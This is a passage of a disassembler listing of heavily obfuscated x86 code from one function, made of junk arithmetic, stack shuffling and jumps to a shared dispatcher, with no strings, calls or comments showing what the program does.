; ---------------------------------------------------------------------------


loc_59801D:				; CODE XREF: sub_57DD3A+18400j
		inc	edx
		dec	edx
		add	edx, 46527139h
		add	eax, edx
		pop	edx
		jmp	loc_5A1465
; ---------------------------------------------------------------------------


loc_59802D:				; CODE XREF: sub_57DD3A+2034Dj
		xor	ebx, [esp+58h+var_58]
		jmp	loc_59D517
; ---------------------------------------------------------------------------


loc_598035:				; DATA XREF: sub_57DD3A+1051Eo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+56h+var_58+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598044:				; CODE XREF: sub_57DD3A+23464j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+5Ah+var_5C+2]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xor	esi, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], esi
		xor	esi, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		push	ebx
		push	5D64h
		mov	[esp+5Eh+var_60+2], edx
		jmp	loc_5A138B
; ---------------------------------------------------------------------------


loc_598077:				; CODE XREF: sub_57DD3A+22C3Fj
		mov	eax, esp
		jmp	loc_58F175
; ---------------------------------------------------------------------------


loc_59807E:				; CODE XREF: sub_57DD3A+13A70j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		mov	[esp+5Ch+var_5C], ecx
		jmp	loc_59CB95
; ---------------------------------------------------------------------------


loc_5980A5:				; CODE XREF: sub_57DD3A+12D4Dj
		push	eax
		pop	ecx
		pop	eax
		push	[esp+0Ch+var_E+2]
		pop	esi
		add	esp, 4
		add	edi, 7B9D44FBh
		jmp	loc_5913B6
; ---------------------------------------------------------------------------


loc_5980BA:				; CODE XREF: sub_57DD3A+1873Cj
		mov	[esp+50h+var_50], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+50h+var_50]
		pop	esp
		jmp	loc_59E222
; ---------------------------------------------------------------------------


loc_5980D4:				; CODE XREF: sub_57DD3A+18465j
		or	ebp, 2A5B4D2Ah
		sub	ebp, 0CE45392h
		sub	ebp, 0D26FC466h
		xor	ecx, ebp
		pop	ebp
		mov	eax, ecx
		pop	ecx
		inc	eax
		inc	eax
		not	eax
		sub	eax, 26F37DB8h
		jmp	loc_594825
; ---------------------------------------------------------------------------


loc_5980FA:				; CODE XREF: sub_57DD3A+1C7D6j
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		mov	esi, esp
		jmp	loc_59CD7B
; ---------------------------------------------------------------------------


loc_59810A:				; CODE XREF: sub_57DD3A+2091Aj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_598AFF
		push	ecx
		push	edi
		push	240B1F34h
		pop	edi
		not	edi
		sub	edi, 0DBF4E0CBh
		mov	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	ebx
		mov	ebx, 20h
		push	ebp
		jmp	loc_590A55
; ---------------------------------------------------------------------------


loc_598138:				; CODE XREF: sub_57DD3A+17B08j
		and	edx, 1784017h
		jmp	loc_5904F2
; ---------------------------------------------------------------------------


loc_598143:				; CODE XREF: sub_57DD3A+2489Aj
		sub	edi, 0C692B23Eh
		add	ebp, edi
		pop	edi
		jmp	loc_5908B3
; ---------------------------------------------------------------------------


loc_598151:				; CODE XREF: sub_57DD3A+1CF44j
		pop	edi
		push	edi
		mov	edi, esp
		jmp	loc_597FCC
; ---------------------------------------------------------------------------


loc_59815A:				; CODE XREF: sub_57DD3A+1E50Fj
		push	6549h
		mov	[esp+4Eh+var_50+2], esi
		jmp	loc_59374A
; ---------------------------------------------------------------------------


loc_598167:				; CODE XREF: sub_57DD3A+1239Fj
		add	esp, 4
		add	edx, 2BD84D00h
		push	ecx
		jmp	loc_59A2E8
; ---------------------------------------------------------------------------


loc_598179:				; CODE XREF: sub_57DD3A+174D0j
		add	edi, 4
		xchg	edi, [esp+36h+var_36]
		jmp	loc_58F56D
; ---------------------------------------------------------------------------


loc_598187:				; CODE XREF: sub_57DD3A+186A4j
		add	ebx, 45D670CCh
		mov	esi, [esp+78h+var_78]
		push	edi
		push	esp
		jmp	loc_59726D
; ---------------------------------------------------------------------------


loc_598197:				; CODE XREF: sub_57DD3A+1BACDj
		push	esi
		push	15D17FF0h
		jmp	loc_58E781
; ---------------------------------------------------------------------------


loc_5981A2:				; CODE XREF: sub_57DD3A+2485Fj
		mov	edi, ecx
		push	[esp+88h+var_88]
		pop	ecx
		add	esp, 4
		add	eax, 2FB70425h
		add	eax, 0D176296h
		sub	eax, edi
		push	ebx
		mov	ebx, 0D176296h
		sub	eax, ebx
		jmp	loc_59332A
; ---------------------------------------------------------------------------


loc_5981C7:				; CODE XREF: sub_57DD3A+11456j
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp+56h+var_58+2]
		add	esp, 4
		push	36D8h
		mov	[esp+56h+var_58+2], ebp
		push	[esp+56h+var_54+2]
		push	[esp+5Ah+var_5C+2]
		jmp	loc_59F291
; ---------------------------------------------------------------------------


loc_5981E8:				; CODE XREF: sub_57DD3A+12C1Dj
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 626E1827h
		jmp	loc_5A2D4C
; ---------------------------------------------------------------------------


loc_5981F6:				; CODE XREF: sub_57DD3A+17EF9j
		push	edi
		push	ebp
		mov	ebp, 70F04342h
		xor	[esp+22h+var_1E], ebp
		push	[esp+22h+var_22]
		mov	ebp, [esp+26h+var_26]
		jmp	loc_58E471
; ---------------------------------------------------------------------------


loc_59820C:				; CODE XREF: sub_57DD3A+17589j
		push	ecx
		jmp	loc_59B8EC
; ---------------------------------------------------------------------------


loc_598212:				; CODE XREF: sub_57DD3A+1E527j
		and	eax, 6A6115B6h
		and	eax, 174324B3h
		not	eax
		sub	eax, 0DA60C9DEh
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	eax, ebp
		pop	ebp
		shr	eax, 2
		shr	eax, 2
		jmp	loc_5905FA
; ---------------------------------------------------------------------------


loc_598237:				; CODE XREF: sub_57DD3A+1A969j
		dec	edx
		xchg	edx, esi
		sub	esi, 780C3FC7h
		jmp	loc_59C52B
; ---------------------------------------------------------------------------


loc_598245:				; CODE XREF: sub_57DD3A+25479j
		neg	esi
		add	esi, 0D1913113h
		xor	ebx, esi
		pop	esi
		jmp	loc_58ECAD
; ---------------------------------------------------------------------------


loc_598255:				; CODE XREF: sub_57DD3A+1061Aj
		push	cx
		mov	cl, 6Ah
		add	al, cl
		jmp	loc_5A0540
; ---------------------------------------------------------------------------


loc_598260:				; CODE XREF: sub_57DD3A+11896j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_591D63
; ---------------------------------------------------------------------------


loc_59826E:				; CODE XREF: sub_57DD3A+14AB6j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59C7E4
; ---------------------------------------------------------------------------


loc_59827B:				; DATA XREF: sub_57DD3A+10506o
		push	[esp+3Eh+var_3E]
		push	[esp+42h+var_42]
		pop	eax
		add	esp, 4
		push	ebp
		push	4C90h
		mov	[esp+46h+var_46], esp
		add	[esp+46h+var_46], 4
		mov	ebp, [esp+46h+var_46]
		add	esp, 4
		sub	esp, 4
		mov	[esp+46h+var_46], edi
		mov	edi, 4
		jmp	loc_58EFA1
; ---------------------------------------------------------------------------


loc_5982B1:				; CODE XREF: sub_57DD3A+1A6CDj
		mov	[esp+46h+var_46], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_5A181F
; ---------------------------------------------------------------------------


loc_5982C3:				; CODE XREF: sub_57DD3A+16589j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5982C8:				; CODE XREF: sub_57DD3A+1FC85j
		pop	eax
		push	19CCh
		mov	[esp+1Eh+var_1E], esi
		push	esp
		jmp	loc_59219C
; ---------------------------------------------------------------------------


loc_5982D7:				; CODE XREF: sub_57DD3A+21330j
		mov	ebp, 0FFE4B026h
		add	ebp, ebx
		pop	ebx
		jmp	loc_59A8F1
; ---------------------------------------------------------------------------


loc_5982E4:				; CODE XREF: sub_57DD3A+1F375j
		mov	ecx, [esp+1Eh+var_1E]
		sub	esp, 4
		jmp	loc_5A2D82
; ---------------------------------------------------------------------------


loc_5982EF:				; CODE XREF: sub_57DD3A+1E70Bj
		or	edi, 655B01A3h
		and	edi, 6432048Ch
		push	0
		sub	[esp+26h+var_26], edi
		pop	edi
		shr	edi, 8
		add	edi, 0EB23DF7h
		jmp	loc_5960BD
; ---------------------------------------------------------------------------


loc_598312:				; CODE XREF: sub_57DD3A+194B5j
		sub	cl, 0D8h
		push	[esp+0Ch+var_E+2]
		jmp	loc_59FFE8
; ---------------------------------------------------------------------------


loc_59831D:				; CODE XREF: sub_57DD3A+18D94j
		push	7BB2h
		mov	[esp+26h+var_26], ecx
		push	1FB9237Bh
		pop	ecx
		shl	ecx, 2
		add	ecx, 67FB59A5h
		push	edi
		push	ebp
		mov	ebp, 432C6236h
		mov	edi, ebp
		jmp	loc_5A1011
; ---------------------------------------------------------------------------


loc_598342:				; CODE XREF: sub_57DD3A+23A3Bj
		xor	[esp+2Eh+var_2E], edi
		jmp	loc_5A1CAE
; ---------------------------------------------------------------------------


loc_59834A:				; CODE XREF: sub_57DD3A+1B0A6j
		add	esp, 4
		sub	[esp+2Ah+var_26], 28F728Dh
		add	[esp+2Ah+var_26], eax
		push	eax
		mov	eax, 28F728Dh
		add	[esp+2Eh+var_26], eax
		pop	eax
		push	[esp+2Ah+var_2A]
		mov	eax, [esp+2Eh+var_2E]
		add	esp, 4
		add	esp, 4
		push	[esp+26h+var_26]
		push	[esp+2Ah+var_2A]
		jmp	loc_591BCA
; ---------------------------------------------------------------------------


loc_59837E:				; CODE XREF: sub_57DD3A+1E831j
		push	ecx
		jmp	loc_5A0114
; ---------------------------------------------------------------------------


loc_598384:				; CODE XREF: sub_57DD3A+149A5j
		add	ebp, edx
		jmp	loc_5A2CE1
; ---------------------------------------------------------------------------


loc_59838B:				; CODE XREF: sub_57DD3A+1AF90j
		xor	[esp+6Ch+var_6C], ecx
		xor	ecx, [esp+6Ch+var_6C]
		mov	esp, [esp+6Ch+var_6C]
		jmp	loc_59C14D
; ---------------------------------------------------------------------------


loc_598399:				; CODE XREF: sub_57DD3A+18835j
		add	esi, edi
		jmp	loc_590CF1
; ---------------------------------------------------------------------------


loc_5983A0:				; CODE XREF: sub_57DD3A+1FE8Bj
		push	[esp+42h+var_3E]
		pop	edi
		jmp	loc_599917
; ---------------------------------------------------------------------------


loc_5983AA:				; CODE XREF: sub_57DD3A+1CD3Ej
		add	esp, 4
		push	edx
		mov	edx, 1D83610Dh
		not	edx
		jmp	loc_59D0E2
; ---------------------------------------------------------------------------


loc_5983BA:				; CODE XREF: sub_57DD3A+17367j
		inc	ebp
		xor	ebp, 884D5A9Bh
		sub	edx, ebp
		pop	ebp
		jmp	loc_59B43D
; ---------------------------------------------------------------------------


loc_5983C9:				; CODE XREF: sub_57DD3A+17285j
		xor	al, ch
		mov	ecx, [esp+0]
		jmp	loc_59E6E2
; ---------------------------------------------------------------------------


loc_5983D3:				; CODE XREF: sub_57DD3A+1BF0Fj
		mov	[esp+0], ecx
		mov	ecx, 17FE789Fh
		sub	ebp, ecx
		pop	ecx
		pop	edx
		push	edi
		push	ebp
		mov	ebp, 2
		push	ebp
		pop	edi
		push	dword ptr [esp+0]
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	esp, 4
		sub	ebp, edi
		jmp	loc_59F7AB
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-4+arg_0]
		push	529Ch
		jmp	loc_5982B1
; ---------------------------------------------------------------------------


loc_59840C:				; CODE XREF: sub_57DD3A+17B3Ej
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+68h+var_68]
		jmp	loc_59ED4B
; ---------------------------------------------------------------------------


loc_598422:				; CODE XREF: sub_57DD3A+20548j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+68h+var_68]
		pop	esp
		mov	[esp+64h+var_64], edi
		push	7121h
		mov	[esp+68h+var_68], esi
		mov	esi, 24062961h
		jmp	loc_591F79
; ---------------------------------------------------------------------------
		push	[esp+68h+var_68]
		push	[esp+6Ch+var_6C]
		pop	ecx
		jmp	loc_596222
; ---------------------------------------------------------------------------


loc_598450:				; CODE XREF: sub_57DD3A+2441Ej
		pop	edx
		pop	eax
		push	eax
		push	ebx
		mov	ebx, 78934F30h
		mov	eax, 876CB0D4h
		add	eax, ebx
		pop	ebx
		push	73EDh
		mov	[esp+6Ch+var_6C], ecx
		jmp	loc_59D5BF
; ---------------------------------------------------------------------------


loc_59846E:				; CODE XREF: sub_57DD3A+21561j
		add	ebp, 4
		xchg	ebp, [esp+6Ch+var_6C]
		pop	esp
		jmp	$+5
		pop	[esp+68h+var_68]
		mov	esp, [esp+64h+var_64]
		push	[esp+64h+var_64]
		jmp	loc_59C3F4
; ---------------------------------------------------------------------------


loc_59848B:				; CODE XREF: sub_57DD3A+1F8E4j
		push	3EFAh
		mov	[esp+6Ch+var_6C], edx
		push	ecx
		push	57965D50h
		pop	ecx
		dec	ecx
		and	ecx, 51E073BDh
		xor	ecx, 51805129h
		mov	edx, ecx
		jmp	loc_59B73E
; ---------------------------------------------------------------------------


loc_5984AE:				; CODE XREF: sub_57DD3A+21C6Cj
		pop	ebx
		sub	esi, edi
		pop	edi
		add	esi, eax
		push	392h
		mov	[esp+6Ch+var_6C], edx
		mov	edx, 388D7447h
		neg	edx
		jmp	loc_593DF3
; ---------------------------------------------------------------------------


loc_5984C8:				; CODE XREF: sub_57DD3A+13861j
		pop	bx
		push	ebx
		mov	bh, 4Ah
		or	bh, 6Eh
		shl	bh, 1
		inc	bh
		push	cx
		jmp	loc_59E775
; ---------------------------------------------------------------------------


loc_5984DB:				; CODE XREF: sub_57DD3A+1CFA6j
		pop	ebp
		pop	[esp+0Ch+var_E+2]
		pop	esp
		sar	byte ptr [esp+4+var_4],	cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5984E9:				; CODE XREF: sub_57DD3A+214CBj
		sub	ebp, 5D87555Fh
		jmp	loc_5905C5
; ---------------------------------------------------------------------------


loc_5984F4:				; CODE XREF: sub_57DD3A+1C54Dj
		add	edx, 6E8344C4h
		sub	edx, 60DB270Ch
		xor	edx, 113A6DECh
		xor	edx, 1D20A41h
		xor	esi, edx
		jmp	loc_5986E1
; ---------------------------------------------------------------------------


loc_598513:				; CODE XREF: sub_57DD3A+17772j
		add	edi, 51AB00EAh
		add	edi, eax
		jmp	loc_599377
; ---------------------------------------------------------------------------
		push	[esp+42h+var_42]
		jmp	loc_58EEC1
; ---------------------------------------------------------------------------


loc_598528:				; CODE XREF: sub_57DD3A+1B754j
		add	esp, 4
		push	edi
		mov	edi, 4AAF7F2Bh
		and	edi, 77971A79h
		push	109Fh
		mov	[esp+4Ah+var_4C+2], ecx
		mov	ecx, 3D751692h
		sub	esp, 4
		jmp	loc_5A1666
; ---------------------------------------------------------------------------


loc_59854F:				; CODE XREF: sub_57DD3A+2199Dj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Eh+var_50+2]
		pop	esp
		shl	edi, 4
		jmp	loc_597D01
; ---------------------------------------------------------------------------


loc_598569:				; CODE XREF: sub_57DD3A+17EB5j
		mov	[esp+26h+var_26], eax
		mov	eax, 12427FBBh
		mov	edx, eax
		jmp	loc_598C68
; ---------------------------------------------------------------------------


loc_598578:				; DATA XREF: sub_57DD3A+1034Eo
		mov	cx, word ptr [esp+26h+var_26]
		push	14D3h
		mov	[esp+2Ah+var_2A], eax
		push	5372h
		mov	[esp+2Eh+var_2E], esp
		push	ecx
		mov	ecx, 4
		add	[esp+32h+var_2E], ecx
		pop	ecx
		pop	eax
		jmp	loc_58EC67
; ---------------------------------------------------------------------------


loc_59859D:				; CODE XREF: sub_57DD3A+22B46j
		push	ecx
		push	edi
		mov	edi, 4
		mov	ecx, edi
		jmp	loc_598902
; ---------------------------------------------------------------------------


loc_5985AB:				; CODE XREF: sub_57DD3A+14213j
		mov	ebp, edx
		pop	edx
		push	394Bh
		mov	[esp+0], ebx
		push	esi
		mov	esi, 43AB427Ah
		mov	ebx, 0F477EF0Bh
		xor	ebx, esi
		pop	esi
		add	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		jmp	loc_59FAE3
; ---------------------------------------------------------------------------


loc_5985CF:				; CODE XREF: sub_57DD3A+177C7j
		add	ecx, edx
		add	ecx, 33215CF3h
		push	edx
		push	20F7h
		mov	[esp+0], ebx
		mov	bh, al
		mov	dh, bh
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		push	eax
		jmp	loc_59079E
; ---------------------------------------------------------------------------


loc_5985F4:				; CODE XREF: sub_57DD3A+1D821j
		xchg	edi, [esp+0]
		pop	esp
		idiv	cx
		push	small 5AA2h
		mov	word ptr [esp+46h+var_46], dx
		push	ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59860B:				; CODE XREF: sub_57DD3A+1F820j
		add	edi, ebx
		push	[esp+4Ch+var_4C]
		pop	ebx
		push	ecx
		jmp	loc_5A1CA7
; ---------------------------------------------------------------------------


loc_598617:				; CODE XREF: sub_57DD3A+1A20Bj
		sub	esi, 0E3573A2h
		sub	esi, eax
		add	esi, 0E3573A2h
		jmp	loc_5A00DF
; ---------------------------------------------------------------------------


loc_59862A:				; CODE XREF: sub_57DD3A+1DDE4j
		mov	ebp, 438E4292h
		sub	ebp, 45BD3BC5h
		sub	ebp, 3D512FA6h
		sub	ebp, 0B6C09734h
		jmp	loc_59E4EC
; ---------------------------------------------------------------------------


loc_598646:				; CODE XREF: sub_57DD3A+11319j
		pop	[esp+3Ch+var_3E+2]
		mov	esp, [esp+38h+var_3A+2]
		dec	byte ptr [esp+38h+var_3A+2]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598655:				; CODE XREF: sub_57DD3A+1103Aj
		mov	[esp+26h+var_26], ebp
		mov	ebp, 53201EF0h
		or	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 54712h
		xor	edi, eax
		mov	eax, [esp+26h+var_26]
		jmp	loc_5912E5
; ---------------------------------------------------------------------------


loc_598670:				; CODE XREF: sub_57DD3A+24D7Bj
		xchg	esi, ecx
		jmp	loc_5A0E96
; ---------------------------------------------------------------------------


loc_598677:				; CODE XREF: sub_57DD3A+21E98j
		add	dh, ah
		add	dh, 58h
		pop	eax
		push	edx
		mov	dl, 3Ah
		jmp	loc_58E917
; ---------------------------------------------------------------------------


loc_598685:				; CODE XREF: sub_57DD3A+1BBB4j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		mov	[esp+22h+var_22], eax
		push	esi
		mov	esi, 79A55CCEh
		shr	esi, 5
		xchg	edx, esi
		jmp	loc_598237
; ---------------------------------------------------------------------------


loc_5986A8:				; CODE XREF: sub_57DD3A+150E2j
		mov	esi, 21072048h
		add	ecx, esi
		pop	esi
		push	[esp+2Ah+var_2A]
		pop	ebx
		jmp	loc_591F5F
; ---------------------------------------------------------------------------


loc_5986B9:				; CODE XREF: sub_57DD3A+23646j
		pop	esp
		push	esi
		mov	esi, 4B875EF2h
		jmp	loc_590F85
; ---------------------------------------------------------------------------


loc_5986C5:				; CODE XREF: sub_57DD3A+15412j
		push	482Dh
		jmp	loc_599A4D
; ---------------------------------------------------------------------------


loc_5986CF:				; CODE XREF: sub_57DD3A+198DCj
		add	edi, ebx
		jmp	loc_596205
; ---------------------------------------------------------------------------


loc_5986D6:				; CODE XREF: sub_57DD3A+11F6Cj
		push	eax
		mov	al, 0D5h
		add	bh, al
		pop	eax
		jmp	loc_59A02B
; ---------------------------------------------------------------------------


loc_5986E1:				; CODE XREF: sub_57DD3A+1A7D4j
		pop	edx
		add	esi, 0F5D4CFF2h
		add	eax, 41F83731h
		jmp	loc_599C19
; ---------------------------------------------------------------------------


loc_5986F2:				; CODE XREF: sub_57DD3A+11B95j
		pop	edx
		push	ecx
		mov	ecx, 3D90446Ah
		push	eax
		mov	eax, 294464C6h
		add	ecx, eax
		jmp	loc_58EDE4
; ---------------------------------------------------------------------------


loc_598706:				; CODE XREF: sub_57DD3A+24D97j
		push	[esp+7Ch+var_78]
		pop	eax
		pop	[esp+7Ch+var_7C]
		jmp	loc_59B971
; ---------------------------------------------------------------------------


loc_598713:				; CODE XREF: sub_57DD3A+21D97j
		not	bx
		add	bx, 621Ch
		add	di, bx
		jmp	loc_59E5F4
; ---------------------------------------------------------------------------


loc_598723:				; CODE XREF: sub_57DD3A+1C147j
		add	eax, 4
		xchg	eax, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		push	[esp+78h+var_78]
		push	[esp+7Ch+var_7C]
		pop	eax
		sub	esp, 4
		mov	[esp+80h+var_80], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_58EA8B
; ---------------------------------------------------------------------------


loc_598749:				; CODE XREF: sub_57DD3A+13A3Fj
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_59A72D
; ---------------------------------------------------------------------------


loc_598754:				; CODE XREF: sub_57DD3A+23540j
		push	947h
		mov	[esp+5Ch+var_5C], ebp
		mov	ebp, 702060E4h
		add	eax, 4A3068D4h
		jmp	loc_59145B
; ---------------------------------------------------------------------------


loc_59876B:				; CODE XREF: sub_57DD3A+15836j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+1Ch+var_1E+2]
		jmp	loc_59A1FF
; ---------------------------------------------------------------------------


loc_59877F:				; CODE XREF: sub_57DD3A+1142Bj
		add	eax, ecx
		pop	ecx
		add	eax, ecx
		jmp	loc_5977ED
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598791:				; CODE XREF: sub_57DD3A+1F4E7j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+4Ah+var_4C+2]
		jmp	loc_59AD56
; ---------------------------------------------------------------------------


loc_59879C:				; CODE XREF: sub_57DD3A+17560j
		mov	ecx, 2EE1B484h
		jmp	loc_5A261E
; ---------------------------------------------------------------------------


loc_5987A6:				; CODE XREF: sub_57DD3A+2277Fj
		pop	eax
		pop	[esp+5Ch+var_5C]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	24AAh
		mov	[esp+58h+var_58], esi
		mov	esi, 59A83819h
		push	47D7h
		mov	[esp+5Ch+var_5C], edx
		jmp	loc_59E579
; ---------------------------------------------------------------------------


loc_5987C9:				; CODE XREF: sub_57DD3A+1A1F6j
		mov	[esp+3Ch+var_3E+2], ecx
		mov	ch, 78h
		shl	ch, 2
		sub	ch, 3Eh
		not	ch
		push	eax
		push	edx
		mov	dl, 0ACh
		jmp	loc_5A005C
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+44h+var_46+2]
		push	783Ah
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 14A66EDAh
		push	ebx
		push	25A2h
		mov	[esp+54h+var_54], edi
		mov	edi, 325920F3h
		mov	ebx, 41D67DDCh
		xor	ebx, edi
		pop	edi
		not	ebx
		shr	ebx, 3
		jmp	loc_5A1B26
; ---------------------------------------------------------------------------


loc_598813:				; CODE XREF: sub_57DD3A+235BEj
		sub	dh, 5Fh
		sub	dh, al
		push	ecx
		mov	cl, 0FBh
		not	cl
		shr	cl, 1
		and	cl, 45h
		dec	cl
		not	cl
		inc	cl
		sub	cl, 0A2h
		jmp	loc_591625
; ---------------------------------------------------------------------------


loc_598830:				; CODE XREF: sub_57DD3A+148E5j
		pop	esp
		pop	dword ptr [eax]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_598838:				; CODE XREF: sub_57DD3A+16015j
		add	ebx, 0D6757A80h
		and	edi, ebx
		jmp	loc_597C19
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		push	6286h
		mov	[esp+46h+var_46], ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_59B17D
; ---------------------------------------------------------------------------


loc_598859:				; CODE XREF: sub_57DD3A+1CEBAj
		mov	edi, [esp+4Ah+var_4C+2]
		add	esp, 4
		xor	eax, [esp+46h+var_46]
		xor	[esp+46h+var_46], eax
		xor	eax, [esp+46h+var_46]
		jmp	loc_59DC46
; ---------------------------------------------------------------------------


loc_598870:				; CODE XREF: sub_57DD3A+1EDB9j
		mov	ebp, 55222139h
		or	ebp, 0CCB1889h
		jmp	loc_59E453
; ---------------------------------------------------------------------------


loc_598880:				; CODE XREF: sub_57DD3A+244B8j
		push	ebp
		mov	ebp, 6AFF245Dh
		shr	ebp, 5
		and	ebp, 34A75E13h
		jmp	loc_59E9BF
; ---------------------------------------------------------------------------


loc_598894:				; CODE XREF: sub_57DD3A+16272j
		inc	edi
		add	edi, 43705051h
		or	edi, 694E42F1h
		jmp	loc_593EF1
; ---------------------------------------------------------------------------


loc_5988A6:				; CODE XREF: sub_57DD3A+22138j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+56h+var_54+2]
		pop	eax
		jmp	loc_58EF3B
; ---------------------------------------------------------------------------


loc_5988BE:				; CODE XREF: sub_57DD3A+15D35j
		sub	esp, 4
		jmp	loc_59F2F3
; ---------------------------------------------------------------------------


loc_5988C6:				; CODE XREF: sub_57DD3A+15616j
		pop	edi
		jmp	loc_593030
; ---------------------------------------------------------------------------


loc_5988CC:				; CODE XREF: sub_57DD3A+16738j
		shr	ebx, 8
		push	edi
		mov	edi, 3CDE735Ah
		inc	edi
		add	edi, 142B07B2h
		and	ebx, edi
		pop	edi
		push	edi
		mov	edi, 3EAB20C0h
		jmp	loc_597F6C
; ---------------------------------------------------------------------------


loc_5988EA:				; CODE XREF: sub_57DD3A+1D981j
		mov	al, cl
		not	al
		push	edx
		jmp	loc_59AD0E
; ---------------------------------------------------------------------------


loc_5988F4:				; CODE XREF: sub_57DD3A+1B705j
		pop	ebx
		add	esp, 4
		mov	edx, eax
		jmp	loc_590E97
; ---------------------------------------------------------------------------


loc_598902:				; CODE XREF: sub_57DD3A+1A86Cj
		pop	edi
		add	ebx, ecx
		jmp	loc_5917AF
; ---------------------------------------------------------------------------


loc_59890A:				; CODE XREF: sub_57DD3A+21316j
		add	esi, 6E2F032Ah
		pop	eax
		xor	esi, [esp+2Ah+var_2A]
		xor	[esp+2Ah+var_2A], esi
		xor	esi, [esp+2Ah+var_2A]
		pop	esp
		movzx	ecx, al
		push	4DB7h
		mov	[esp+2Ah+var_2A], ecx
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		mov	eax, [esp+2Ah+var_2A]
		push	5B07h
		mov	[esp+2Eh+var_2E], eax
		push	esp
		push	[esp+32h+var_32]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 4
		push	edx
		mov	edx, 77E157C1h
		add	edx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ebp
		mov	ebp, 155069BFh
		sub	edx, ebp
		jmp	loc_58EAA8
; ---------------------------------------------------------------------------


loc_598968:				; CODE XREF: sub_57DD3A+1CD26j
		pop	eax
		shr	edx, 2
		add	edx, 638D39B1h
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edx
		jmp	loc_590B2B
; ---------------------------------------------------------------------------


loc_598980:				; CODE XREF: sub_57DD3A+2403Dj
		sub	ebp, ebx
		push	[esp+3Ah+var_3A]
		pop	ebx
		add	esp, 4
		jmp	loc_5A26E3
; ---------------------------------------------------------------------------


loc_598991:				; CODE XREF: sub_57DD3A+21247j
		dec	ecx
		dec	ecx
		not	ecx
		jmp	loc_59A8A5
; ---------------------------------------------------------------------------


loc_59899A:				; CODE XREF: sub_57DD3A+245C5j
		sub	esp, 4
		mov	[esp+3Ah+var_3A], edx
		mov	dl, 0C9h
		jmp	loc_5A2BAE
; ---------------------------------------------------------------------------


loc_5989AA:				; CODE XREF: sub_57DD3A+18CF0j
		mov	edx, [esp+4Eh+var_50+2]
		sub	esp, 4
		mov	[esp+52h+var_54+2], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+52h+var_54+2]
		pop	esp
		push	ebp
		mov	ebp, 104538Fh
		shl	ebp, 7
		neg	ebp
		push	edx
		mov	edx, 8229C784h
		add	ebp, edx
		pop	edx
		add	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 3CE0560Eh
		xor	ecx, 3CE0560Ah
		add	edx, ecx
		mov	ecx, [esp+52h+var_54+2]
		jmp	loc_59FB9E
; ---------------------------------------------------------------------------


loc_5989F5:				; CODE XREF: sub_57DD3A+11AB2j
		mov	ebx, 4A763BFEh
		push	ebp
		mov	ebp, 47E12075h
		inc	ebp
		push	499Ch
		mov	[esp+4Eh+var_50+2], ebx
		mov	ebx, 3721144h
		and	ebx, 4F42530Dh
		sub	ebx, 0C676B2CDh
		xor	ebp, ebx
		mov	ebx, [esp+4Eh+var_50+2]
		add	esp, 4
		xor	ebp, 0A9C7E7Ah
		jmp	loc_59093B
; ---------------------------------------------------------------------------


loc_598A2D:				; CODE XREF: sub_57DD3A+1C6B6j
		and	ebp, esi
		jmp	loc_5A222D
; ---------------------------------------------------------------------------


loc_598A34:				; CODE XREF: sub_57DD3A+1B9FDj
		add	ebx, ecx
		pop	ecx
		mov	ecx, ebx
